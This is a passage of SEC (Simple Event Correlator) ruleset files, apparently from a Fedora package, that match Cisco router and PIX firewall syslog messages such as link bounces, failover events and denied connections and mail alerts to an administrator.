pattern=(\S+) \d+:.*?%SNMP-3-AUTHFAIL: Authentication failure for SNMP req from host (\S+)
desc=(WARNING) Auth fail coming from $2
action=pipe '%s' mail -s 'cisco event' root at example.com
window=86400

# ----- process OSPF neighbor change events -----

# This rule handles OSPF neighbor changes
#
type=single
ptype=regexp
pattern=\d+:\d+:\d+.*?(\S+)\s+\d+:.*?%OSPF-5-ADJCHG:.*?Nbr (\S+) on (\S+) from (\S+) to (\S+), (.*)
desc=(MINOR) OSPF adjacency change: Router $1 reports that the neighbor on $3 ($2) changed from state $4 to state $5 detail:$6
action=event %s; pipe '%s' mail -s 'cisco event' root at example.com

# This rule escalates to CRITICAL if there are more than 5 neighbor changes 
# in 5 seconds
# 
type=SingleWithThreshold
ptype=substr
pattern=(MINOR) OSPF adjacency change
desc=(CRITICAL) More than 5 OSPF neighbor changes in 5 seconds
action=pipe '%s' mail -s 'cisco event' root at example.com
thresh=5
window=5

# ----- process HSRP events -----

# This rule assembles together all HSRP events
# 
type=single
ptype=regexp
pattern=\d+:\d+:\d+.*?(\S+)\s+\d+:.*?%STANDBY-6-STATECHANGE: (\S+).*?state (\S+) -> (\S+)
desc=HSRP change for $1 interface $2 - changed from $3 to $4
action=add HSRP_$1 %t: %s; set HSRP_$1 5 (report HSRP_$1 mail -s 'cisco events' root at example.com)

# ----- process duplex mismatch events -----

# this rule handles the duplex mismatch event
# only one notification is sent for each port that has duplex mismatch 
# reported per day
#
type=singleWithSuppress
ptype=regexp
pattern=(\S+) \d+:.*?%CDP-4-DUPLEX_MISMATCH: duplex mismatch discovered on (not \S+) \((.*?)\), with (\S+) (\S+) \((.*?)\)
desc=(WARNING) Duplex mismatch between $1 port $2 ($3), other side is $4 port $5 ($6)
action=pipe '%s' mail -s 'cisco event' root at example.com
window=86400

# ----- process link down and link up events -----

# This rule deals with link down events
# 
type=PairWithWindow
ptype=RegExp
pattern=\d+:\d+:\d+.*?(\S+)\s+\d+:.*?%LINK-3-UPDOWN: Interface (\S+), changed state to down
desc=(MINOR) $1 INTERFACE $2 DOWN and not up in one minute
action=pipe '%s' mail -s 'cisco event' root at example.com
ptype2=RegExp
pattern2=($1)\s+\d+:.*?%LINK-3-UPDOWN: Interface ($2), changed state to up
desc2=(WARNING) %1 INTERFACE %2 BOUNCE
action2=event %s
window=60

# when the first bounce event is seen, create a reporting trigger 
#
type=Single
continue=TakeNext
ptype=regexp
pattern=(\S+) INTERFACE \S+ BOUNCE
context=!INTERFACE_BOUNCE_WAIT_$1
desc=interface bounce summary event for router $1
action=create INTERFACE_BOUNCE_WAIT_$1 10 (report INTERFACE_BOUNCE_$1 mail -s 'cisco events' root at example.com; delete INTERFACE_BOUNCE_$1)

# accumulate all interface bounce events into a context
#
type=Single
ptype=regexp
pattern=(\S+) INTERFACE (\S+) BOUNCE
desc=interface bounce for router $1 interface $2 detected
action=add INTERFACE_BOUNCE_$1 %t: %s

# ----- process line protocol down and line protocol up events -----

# This rule deals with protocol up/down events
#
type=PairWithWindow
ptype=RegExp
pattern=\d+:\d+:\d+.*?(\S+)\s+\d+:.*?%LINEPROTO-5-UPDOWN: Line protocol on Interface (\S+), changed state to down
desc=(MINOR) $1 INTERFACE $2 line protocol DOWN and not up in one minute
action=pipe '%s' mail -s 'cisco event' root at example.com
ptype2=RegExp
pattern2=($1)\s+\d+:.*?%LINEPROTO-5-UPDOWN: Line protocol on Interface ($2), changed state to up
desc2=(WARNING) %1 INTERFACE %2 line protocol BOUNCE
action2=event %s
window=60

# when the first bounce event is seen, create a reporting trigger 
#
type=Single
continue=TakeNext
ptype=regexp
pattern=(\S+) INTERFACE \S+ line protocol BOUNCE
context=!LINE_PROTOCOL_BOUNCE_WAIT_$1
desc=line protocol bounce for router $1
action=create LINE_PROTOCOL_BOUNCE_WAIT_$1 10 (report LINE_PROTOCOL_BOUNCE_$1 mail -s 'cisco events' root at example.com; delete LINE_PROTOCOL_BOUNCE_$1)

# accumulate all line protocol bounce events into a context
#
type=Single
ptype=regexp
pattern=(\S+) INTERFACE (\S+) line protocol BOUNCE
desc=line protocol bounce for router $1 interface $2 detected
action=add LINE_PROTOCOL_BOUNCE_$1 %t: %s

# ----- process late collision events -----

# Late collision alerts 
# 
type=SingleWithThreshold
ptype=RegExp
pattern=\d+:\d+:\d+.*?(\S+)\s+\d+:.*?%PM_SCP-SP-4-LCP_FW_ABLC: Late collision message from module (\d+), port:(\d+)
desc=(MINOR) Multiple late collision events on $1 module $2 port $3
action=pipe '%s' mail -s 'cisco event' root at example.com
window=3600
thresh=5

# ----- process host flap events -----

# host flapping on single vlan 
# 
type=SingleWithThreshold
continue=TakeNext
ptype=RegExp
pattern=\d+:\d+:\d+.*?(\S+)\s+\d+:.*?%C4K_EBM-4-HOSTFLAPPING: Host (\S+) in vlan (\S+) is flapping between port (\S+) and port (\S+)
desc=(MINOR) multiple hosts flapping between ports $4 and $5 in $1 vlan $3
action=pipe '%s' mail -s 'cisco event' root at example.com
window=300
thresh=5

# host flapping on multiple vlans 
# 
type=SingleWithThreshold
continue=TakeNext
ptype=RegExp
pattern=\d+:\d+:\d+.*?(\S+)\s+\d+:.*?%C4K_EBM-4-HOSTFLAPPING: Host (\S+) in vlan (\S+) is flapping between port (\S+) and port (\S+)
desc=(MINOR) multiple hosts are flapping between ports $4 and $5 in $1 (potentially on multiple VLANs)
action=pipe '%s' mail -s 'cisco event' root at example.com
window=300
thresh=20

# ----- process misc hw events -----

# %FILESYS-SP-STDBY-5-DEV:# flash disk removal
#
type=single
ptype=regexp
pattern=\d+:\d+:\d+.*?(\S+)\s+\d+:.*?%FILESYS-SP-STDBY-5-DEV:.*?PCMCIA flash card removed from (\S+)
desc=(WARNING) Flash card removed from $1 $2
action=pipe '%s' mail -s 'cisco event' root at example.com

# %OIR-SP-STDBY-6-CONSOLE
#
type=suppress
ptype=substr
pattern=%OIR-SP-STDBY-6-CONSOLE
desc=console access to route processor changed

# %OIR-SP-6-INSCARD:  - card inserted 
#
type=single
ptype=regexp
pattern=\d+:\d+:\d+.*?(\S+)\s+\d+:.*?%OIR-SP-6-INSCARD: Card inserted in slot (\d+), (.*)
desc=(HARMLESS) card inserted in $1 slot $2 status:$3
action=pipe '%s' mail -s 'cisco event' root at example.com 

# ----- process module events -----

# %DIAG-SP-3-TEST_FAIL - diagnostics failed on a module
#
type=single
ptype=regexp
pattern=\d+:\d+:\d+.*?(\S+)\s+\d+:.*?%DIAG-SP-3-TEST_FAIL: Module (\d+): (.*)
desc=(WARNING) diagnostics failed for $1 module $2 detail:$3
action=pipe '%s' mail -s 'cisco event' root at example.com

# %SNMP-5-MODULETRAP
# Looks for a module down followed by module up event
# 
type=pairWithWindow
ptype=regexp
pattern=\d+:\d+:\d+.*?(\S+)\s+\d+:.*?%SNMP-5-MODULETRAP: Module (\d+) [Down] Trap
desc=(MINOR) $1 Module DOWN (not back up in a minute)
action=pipe '%s' mail -s 'cisco event' root at example.com
ptype2=regexp
pattern2=($1) .*? %SNMP-5-MODULETRAP: Module ($2) [Up] Trap
desc2=(WARNING) $1 Module $2 BOUNCE (down and back up within a minute)
action2=pipe '%s' mail -s 'cisco event' root at example.com
window=60

# ----- process irrelevant events (by suppressing) -----

# %SYS-SP-STDBY-5-RESTART - system restarted part of the boot - interesting?
# 
type=suppress
ptype=substr
pattern=SYS-SP-STDBY-5-RESTART
desc=system restarted

# %DIAG-SP-6-TEST_RUNNING - Running system test
# 
type=suppress
ptype=substr
pattern=%DIAG-SP-6-TEST_RUNNING
desc=running diagnostics on a module

# %FABRIC-SP-5-FABRIC_MODULE_BACKUP - module changed to backup state
# 
type=suppress
ptype=substr
pattern=%FABRIC-SP-5-FABRIC_MODULE_BACKUP
desc=module became backup

# %DIAG-SP-6-RUN_MINIMUM - diagnostics are run
# 
type=suppress
ptype=substr
pattern=%DIAG-SP-6-RUN_MINIMUM
desc=diagnostics running on switch

# %DIAG-SP-6-DIAG_OK - diagnostics results are OK
# 
type=suppress
ptype=substr
pattern=%DIAG-SP-6-DIAG_OK
desc=diagnostics results are OK

# %PFREDUN-SP-STDBY-6-STANDBY - SSO events
# 
type=suppress
ptype=substr
pattern=%PFREDUN-SP-STDBY-6-STANDBY
desc=SSO event (startup)

# %PFREDUN-SP-STDBY-6-STANDBY - SSO events
# 
type=suppress
ptype=substr
pattern=%PFREDUN-SP-6-ACTIVE
desc=SSO event (startup)

# %FABRIC-SP-5-FABRIC_MODULE_BACKUP: - secondary sup is up and is secondary
# 
type=suppress
ptype=substr
pattern=%FABRIC-SP-5-FABRIC_MODULE_BACKUP:
desc=secondary sup is up and is secondary

# %PFINIT-SP-5-CONFIG_SYNC - startup config on standby router sync
# 
type=suppress
ptype=substr
pattern=%PFINIT-SP-5-CONFIG_SYNC
desc=startup config on standby router sync

# %C4K_REDUNDANCY - Cayt 4K configuration/vlan database succesful sync
# the success match is to allow fails in sync to not be suppress
# 
type=suppress
ptype=regexp
pattern=%C4K_REDUNDANCY.*?success
desc=config sync with standby supervisor

# %SCP-SP-5-ASYNC_WATERMARK: SCP long queue wait
# the success match is to allow fails in sync to not be suppress
# 
type=suppress
ptype=substr
pattern=%SCP-SP-5-ASYNC_WATERMARK:
desc=SCP control protocol pending queue is longer than notification threshold

# %MLS_RATE-4-DISABLING: - Layer2 Rate Limiters have been disabled. Is this interesting?
#
type=suppress
ptype=substr
pattern=%MLS_RATE-4-DISABLING:
desc=Layer2 Rate Limiters have been disabled

# ----- process native VLAN mismatch events -----

# %CDP-4-NATIVE_VLAN_MISMATCH: - native VLAN mismatch between switches, will repeat every minute until fixed
#
type=singleWithSuppress
ptype=regexp
pattern=\d+:\d+:\d+.*?(\S+)\s+\d+:.*?%CDP-4-NATIVE_VLAN_MISMATCH: Native VLAN mismatch discovered on (\S+) \((\d+)\), with (\S+) (\S+) \((\d+)\)
desc=(MINOR) A native VLAN mistmatch reported between $1 interface $2 (native VLAN $3) and host $4 interface $5 (native VLAN $6)
action=pipe '%s' mail -s 'cisco event' root at example.com
window=60

# ----- process snmp trapblock messages -----

# %SNMP-3-TRAPBLOCK - A process tried to create a trap it is not entitled to create
# See Cisco http://www.cisco.com/cgi-bin/Support/Errordecoder/index.cgi?action=search&counter=0&paging=5&query=SNMP-3-TRAPBLOCK
# 
type=suppress
ptype=substr
pattern=%SNMP-3-TRAPBLOCK
desc=a process tried to create a trap it is not entitled to create

# ----- process chassis alarm events -----

# %SNMP-5-CHASSISALARM - this rule handles the tmpAlarm
#
type=pairWithWindow
continue=takeNext
ptype=regexp
pattern=\d+:\d+:\d+.*?(\S+)\s+\d+:.*?%SNMP-5-CHASSISALARM: Chassis Alarm Trap: tmpAlarm\(ON\)
desc=(MINOR) $1 temprature alarm signaled and not cleared in five minutes
action=pipe '%s' mail -s 'cisco event' root at example.com
continue2=takeNext
ptype2=regexp
pattern2=\d+:\d+:\d+.*?($1)\s+\d+:.*%SNMP-5-CHASSISALARM: Chassis Alarm Trap: tmpAlarm\(OFF\)
desc2=(WARNING) $1 temprature alarm went on and was cleared in under five minutes
action2=pipe '%s' mail -s 'cisco event' root at example.com
window=300

# %SNMP-5-CHASSISALARM - this rule handles the minorAlarm
#
type=pairWithWindow
continue=takeNext
ptype=regexp
pattern=\d+:\d+:\d+.*?(\S+)\s+\d+:.*?%SNMP-5-CHASSISALARM: Chassis Alarm Trap: .*? minorAlarm\(ON\)
desc=(MINOR) $1 minor alarm reported and not cleared in three minutes
action=pipe '%s' mail -s 'cisco event' root at example.com
continue2=takeNext
desc2=(WARNING) $1 minor alarm went on and was cleared in under three minutes
ptype2=regexp
pattern2=\d+:\d+:\d+.*?($1)\s+\d+:.*?%SNMP-5-CHASSISALARM: Chassis Alarm Trap: .*? minorAlarm\(OFF\)
action2=pipe '%s' mail -s 'cisco event' root at example.com
window=180	

# %SNMP-5-CHASSISALARM - this rule handles the majorAlarm
#
type=pairWithWindow
ptype=regexp
pattern=\d+:\d+:\d+.*?(\S+)\s+\d+:.*?%SNMP-5-CHASSISALARM: Chassis Alarm Trap: .*? majorAlarm\(ON\)
desc=(MINOR) $1 major alarm signaled and not cleared in two minutes
action=pipe '%s' mail -s 'cisco event' root at example.com
ptype2=regexp
pattern2=\d+:\d+:\d+.*?($1)\s+\d+:.*?%SNMP-5-CHASSISALARM: Chassis Alarm Trap: .*? majorAlarm\(OFF\)
desc2=(WARNING) $1 major alarm went on and was cleared in under two minutes
action2=pipe '%s' mail -s 'cisco event' root at example.com
window=120

# ----- process power supply related events -----

# %C4K_IOSMODPORTMAN events - this one is about power supplies only 
#
type=pairWithWindow
ptype=regexp
pattern=\d+:\d+:\d+.*?(\S+)\s+\d+:.*?%C4K_IOSMODPORTMAN-4-POWERSUPPLYBAD: Power Supply (\d+) has failed or been turned off
desc=(MINOR) $1 power supply $2 reported bad and event not cleared in two minutes
action=pipe '%s' mail -s 'cisco event' root at example.com
ptype2=regexp
pattern2=($1) .*? %C4K_IOSMODPORTMAN-6-POWERSUPPLYGOOD: Power Supply ($2) is Okay
desc2=(WARNING) $1 power supply $2 alarm went on and was cleared in under two minutes
action2=pipe '%s' mail -s 'cisco event' root at example.com
window=120

# ----- process neighbor down and neighbor up events -----

# %DVMRP-5-NBRDOWN
#
type=pairWithWindow
ptype=regexp
pattern=\d+:\d+:\d+.*?(\S+)\s+\d+:.*?%DVMRP-5-NBRDOWN: Neighbor (\S+) went down on (\S+)
desc=(MINOR) $1 lost DVMRP neighbor $2 on interface $3 and it did not come up in two minutes
action=pipe '%s' mail -s 'cisco event' root at example.com
ptype2=regexp
pattern2=($1) .*? %DVMRP-5-NBRUP: Neighbor ($2) is up on ($3)
desc2=(WARNING) $1 lost DVMRP neighbor $2 on interface $3 but id come up within two minutes
action2=pipe '%s' mail -s 'cisco event' root at example.com
window=120

# ----- process fan power supply failure/ok events -----

# %C6KENV-SP-4-PSFANF events - this one is about fan failures
#
type=pairWithWindow
ptype=regexp
pattern=\d+:\d+:\d+.*?(\S+)\s+\d+:.*?%C6KENV-SP-4-PSFANFAILED: the fan in power supply (\d+) has failed
desc=(MINOR) $1 fan in power supply $2 was reported bad and event not cleared in two minutes
action=pipe '%s' mail -s 'cisco event' root at example.com
ptype2=regexp
pattern2=($1) .*? %C6KENV-SP-4-PSFANOK: the fan in power supply (\d+) is OK
desc2=(WARNING) $1 fan in power supply $2 alarm went on and was cleared in under two minutes
action2=pipe '%s' mail -s 'cisco event' root at example.com
window=120

# ----- process events that have not been matched by any of above rules -----

# Default match
# this rule will match anything not previously matched but allows only 
# one notification per day for each new event class seen
#
type=singleWithSuppress
ptype=regexp
pattern=(%.*?:)
desc=$1
action=pipe '$0' mail -s 'cisco event' root at example.com
window=86400


--- NEW FILE import.log ---
sec-2_5_2-1_fc11:F-12:sec-2.5.2-1.fc11.src.rpm:1254556293


--- NEW FILE pix-general.sec ---
####################################################################
#                SEC ruleset for Cisco PIX 6.x, 7.x, FWSM 2.x
#
# Copyright (C) 2003-2009 Colin Hudler
# This is free software. You may redistribute copies of it under the terms of 
# the GNU General Public License version 2.
# There is NO WARRANTY, to the extent permitted by law.
####################################################################

# Process various events from PIX syslog output
# 
# TODO -- A few FWSM log lines will not match.

# Setup our variables -- not the right way to do this?  Needs tweaking for your log lines
type=Single
ptype=RegExp
pattern=^(.* [0-9].:[0-9].:[0-9].) (.*)\.yourdomain\.edu.*?%(PIX|FWSM)-[0-9]-.*?:(.*)
desc=PIXLOG $2^ $1 $4
action=event %s

# 106001
type=SingleWithThreshold
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Inbound TCP connection denied from (\d+.\d+.\d+.\d+\/\d+) to (\d+.\d+.\d+.\d+\/\d+).*
desc=PIX $1 TCP connection denid HAMMER $2 to $3
action=create ham1_$1; add ham1_$1 %t; add ham1_$1 %s;add ham1_$1 %s; add ham1_$1 $0; report ham1_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete ham1_$1
window=10
thresh=6

# 106006
type=SingleWithThreshold
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Connection denied by outbound list.*src (\d+.\d+.\d+.\d+) dest (\d+.\d+.\d+.\d+)
desc=PIX $1 denied by list HAMMER $2 to $3
action=create ham2_$1; add ham2_$1 %t; add ham2_$1 %s; add ham2_$1 $0; report ham2_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete ham2_$1
window=10
thresh=6

# 106007
type=SingleWithThreshold
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Deny inbound UDP from (\d+.\d+.\d+.\d+) to (\d+.\d+.\d+.\d+) due to DNS.*
desc=PIX $1 Denied inbound UDP HAMMER $2 to $3
action=create ham3_$1; add ham3_$1 %t; add ham3_$1 %s; add ham3_$1 $0; report ham3_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete ham3_$1
window=10
thresh=6

# 106010
type=SingleWithThreshold
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Deny inbound.*src.*:(\d+.\d+.\d+.\d+\/\d+) dst.*:(\d+.\d+.\d+.\d+\/\d+).*
desc=PIX $1 Denied inbound HAMMER $2 to $3
action=create ham4_$1; add ham4_$1 %t; add ham4_$1 %s; add ham4_$1 $0; report ham4_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete ham4_$1
window=10
thresh=6

# 106012
type=SingleWithThreshold
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Deny IP from (\d+.\d+.\d+.\d+) to (\d+.\d+.\d+.\d+), IP options.*
desc=PIX $1 Denied IP Options HAMMER $2 to $3
action=create ham5_$1; add ham5_$1 %t; add ham5_$1 %s; add ham5_$1 $0; report ham5_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete ham5_$1
window=10
thresh=6

# 106013
type=SingleWithThreshold
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Dropping echo request from (\d+.\d+.\d+.\d+) to PAT address 
desc=PIX $1 Echo HAMMER $2 to PAT Address
action=create ham6_$1; add ham6_$1 %t; add ham6_$1 %s; add ham6_$1 $0; report ham7_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete ham8_$1
window=10
thresh=6

# 106014
type=SingleWithThreshold
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Deny inbound icmp src.*: (\d+.\d+.\d+.\d+) dst.*: (\d+.\d+.\d+.\d+)
desc=PIX $1 Deny inbound ICMP HAMMER $2 to $3
action=create ham9_$1; add ham9_$1 %t; add ham9_$1 %s; add ham9_$1 $0; report ham9_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete ham9_$1
window=10
thresh=6

# 106015
type=SingleWithThreshold
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Deny.*\(no connection\) from (\d+.\d+.\d+.\d+\/\d+) to (\d+.\d+.\d+.\d+\/\d+)
desc=PIX $1 Deny (no connection) HAMMER $2 to $3
action=create ham10_$1; add ham10_$1 %t; add ham10_$1 %s; add ham10_$1 $0; report ham10_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete ham10_$1
window=10
thresh=30

# 106016,106017,106020,106021,106022 is further down this list...

# 106018
type=SingleWithThreshold
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*ICMP packet type.*denied by outbound list.*src (\d+.\d+.\d+.\d+) dest (\d+.\d+.\d+.\d+)
desc=PIX $1 Deny ICMP type HAMMER $2 to $3
action=create ham11_$1; add ham11_$1 %t; add ham11_$1 %s; add ham11_$1 $0; report ham11_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete ham11_$1
window=10
thresh=6

# 106023
#Deny udp src outside:128.135.93.11/137 dst inside:128.135.211.65/137 by access-group "inward"
type=SingleWithThreshold
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Deny.*src.*:(\d+.\d+.\d+.\d+\/\d+) dst.*:(\d+.\d+.\d+.\d+\/\d+) by .*
desc=PIX $1 Deny by ACL HAMMER $2 to $3
action=create ham12_$1; add ham12_$1 %t; add ham12_$1 %s; add ham12_$1 $0; report ham12_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete ham12_$1
window=10
thresh=32

# This is broken... still fix? TODO
# 106001 -- Report
#type=SingleWithThreshold
#continue=takenext
#ptype=RegExp
#pattern=^PIXLOG (\S+)\^ .*(Inbound TCP connection denied from (\d+.\d+.\d+.\d+\/\d+) to (\d+.\d+.\d+.\d+\/\d+).*)|\
#(Connection denied by outbound list.*src (\d+.\d+.\d+.\d+) dest (\d+.\d+.\d+.\d+))|\
#(Deny inbound UDP from (\d+.\d+.\d+.\d+) to (\d+.\d+.\d+.\d+) due to DNS)|\
#(Deny inbound.*src.*:(\d+.\d+.\d+.\d+\/\d+) dst.*:(\d+.\d+.\d+.\d+\/\d+))|\
#(Deny IP from (\d+.\d+.\d+.\d+) to (\d+.\d+.\d+.\d+), IP options)|\
#(Dropping echo request from (\d+.\d+.\d+.\d+) to PAT address)|\
#(Deny inbound icmp src.*: (\d+.\d+.\d+.\d+) dst.*: (\d+.\d+.\d+.\d+))|\
#(Deny.*\(no connection\) from (\d+.\d+.\d+.\d+\/\d+) to (\d+.\d+.\d+.\d+\/\d+))|\
#(ICMP packet type.*denied by outbound list.*src (\d+.\d+.\d+.\d+) dest (\d+.\d+.\d+.\d+))|\
#(Deny.*src.*:(\d+.\d+.\d+.\d+\/\d+) dst.*:(\d+.\d+.\d+.\d+\/\d+) by )
#desc=PIX Conn Denied 10 times from $2
#action=create rpt_$1; add rpt_$1 %t; add rpt_$1 %s;add rpt_$1 %s; add rpt_$1 $0; report rpt_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete rpt_$1
#window=10
#thresh=30

# 101002
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Bad failover cable.
desc=PIX $1 Bad Failover Cable
action=create bfc_$1; add bfc_$1 %t; add bfc_$1 %s; add bfc_$1 $0; report bfc_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete bfc_$1

# 101003/4
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Failover cable not connected
desc=PIX $1 Failover cable gone
action=create nfc_$1; add nfc_$1 %t; add nfc_$1 %s; add nfc_$1 $0; report nfc_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete nfc_$1

# 101005
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Error reading failover cable status
desc=PIX $1 Failover cable ERROR
action=create fce_$1; add fce_$1 %t; add fce_$1 %s; add fce_$1 $0; report fce_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete fce_$1

# 102001
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Power failure/System reload
desc=PIX $1 Peer Lost Power
action=create fpp_$1; add fpp_$1 %t; add fpp_$1 %s; add fpp_$1 $0; report fpp_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete fpp_$1

# 103001
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*No response from other firewall
desc=PIX $1 Peer Gone Away
action=create fnp_$1; add fnp_$1 %t; add fnp_$1 %s; add fnp_$1 $0; report fnp_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete fnp_$1

# 103003
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Other firewall network interface (\S+) failed
desc=PIX $1 Peer interface $2 died
action=create fpi_$1; add fpi_$1 %t; add fpi_$1 %s; add fpi_$1 $0; report fpi_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete fpi_$1

# 103004
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Other firewall reports this firewall failed
desc=PIX $1 Peer says I failed
action=create fif_$1; add fif_$1 %t; add fif_$1 %s; add fif_$1 $0; report fif_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete fif_$1

# 103005
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Other firewall reporting failure
desc=PIX $1 Peer reports failure
action=create fpf_$1; add fpf_$1 %t; add fpf_$1 %s; add fpf_$1 $0; report fpf_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete fpf_$1

# 104001
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*(Primary|Secondary) Switching to ACTIVE \(cause: (.*)\)
desc=PIX $1 FAILOVER! Becoming ACTIVE because $2
action=create fba_$1; add fba_$1 %t; add fba_$1 %s; add fba_$1 $0; report fba_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete fba_$1

# 104002
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*(Primary|Secondary) Switching to STNDBY \(cause: (.*)\)
desc=PIX $1 FAILOVER! Becoming STNDBY because $2
action=create fbs_$1; add fbs_$1 %t; add fbs_$1 %s; add fsb_$1 $0; report fbs_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete fbs_$1

# 104003
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Switching to FAILED
desc=PIX $1 IN FAILED STATE!
action=create ffs_$1; add ffs_$1 %t; add ffs_$1 %s; add ffs_$1 $0; report ffs_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete ffs_$1

# 104004
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Switching to OK.
desc=PIX $1 Failed Unit is ok
action=create ffs_$1; add ffs_$1 %t; add ffs_$1 %s; add ffs_$1 $0; report ffs_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete ffs_$1

# 105005
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Lost Failover communications with mate on interface
desc=PIX $1 Peer Gone Away
action=create fnp_$1; add fnp_$1 %t; add fnp_$1 %s; add fnp_$1 $0; report fnp_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete fnp_$1

# 105007
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Link status \'Down\' on interface (\S+).*
desc=PIX $1 interface $2 is DOWN
action=create ind_$1; add ind_$1 %t; add ind_$1 %s; add ind_$1 $0; report ind_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete ind_$1

# 105011
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Failover cable communication failure
desc=PIX $1 Failver cable failed
action=create fcf_$1; add fcf_$1 %t; add fcf_$1 %s; add fcf_$1 $0; report fcf_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete fcf_$1

# 105021
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Standby unit failed to sync due to a locked (\S+) config. Lock held by (\S+)
desc=PIX $1 Failover Sync failed because $2 is locked by $3
action=create lck_$1; add fcf_$1 %t; add fcf_$1 %s; add lck_$1 $0; report lck_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete lck_$1

# 10532
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*LAN Failover interface is down
desc=PIX $1 Failover interface is down
action=create fin_$1; add fin_$1 %t; add fin_$1 %s; add fin_$1 $0; report fin_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete fin_$1

# 10535
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Receive a LAN failover interface down msg from peer.
desc=PIX $1 Failover Peer reports LAN interface down
action=create fin_$1; add fin_$1 %t; add fin_$1 %s; add fin_$1 $0; report fin_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete fin_$1

# 10536
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*dropped a LAN Failover command message.
desc=PIX $1 Failover Dropped a LAN packet
action=create fdr_$1; add fdr_$1 %t; add fdr_$1 %s; add fdr_$1 $0; report fdr_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete fdr_$1

# 10537
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*The primary and standby units are switching back 
desc=PIX $1 Failover: primary and standby units are switching back
action=create fsw_$1; add fsw_$1 %t; add fsw_$1 %s; add fsw_$1 $0; report fsw_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete fsw_$1

# 10543
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Failover interface failed
desc=PIX $1 Failover LAN Interface is down!
action=create fin_$1; add fin_$1 %t; add fin_$1 %s; add fin_$1 $0; report fin_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete fin_$1

# messages from 106001 moved to top

# 106011
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Deny inbound (No xlate).*
desc=PIX $1 Same-Side Traffic Attack
action=create sst_$1; add sst_$1 %t; add sst_$1 %s; add sst_$1 $0; report sst_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete sst_$1

# 106016
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Deny IP spoof from (\d+.\d+.\d+.\d+) to (\d+.\d+.\d+.\d+) on interface 
desc=PIX $1 IP Spoof from $2 to $3
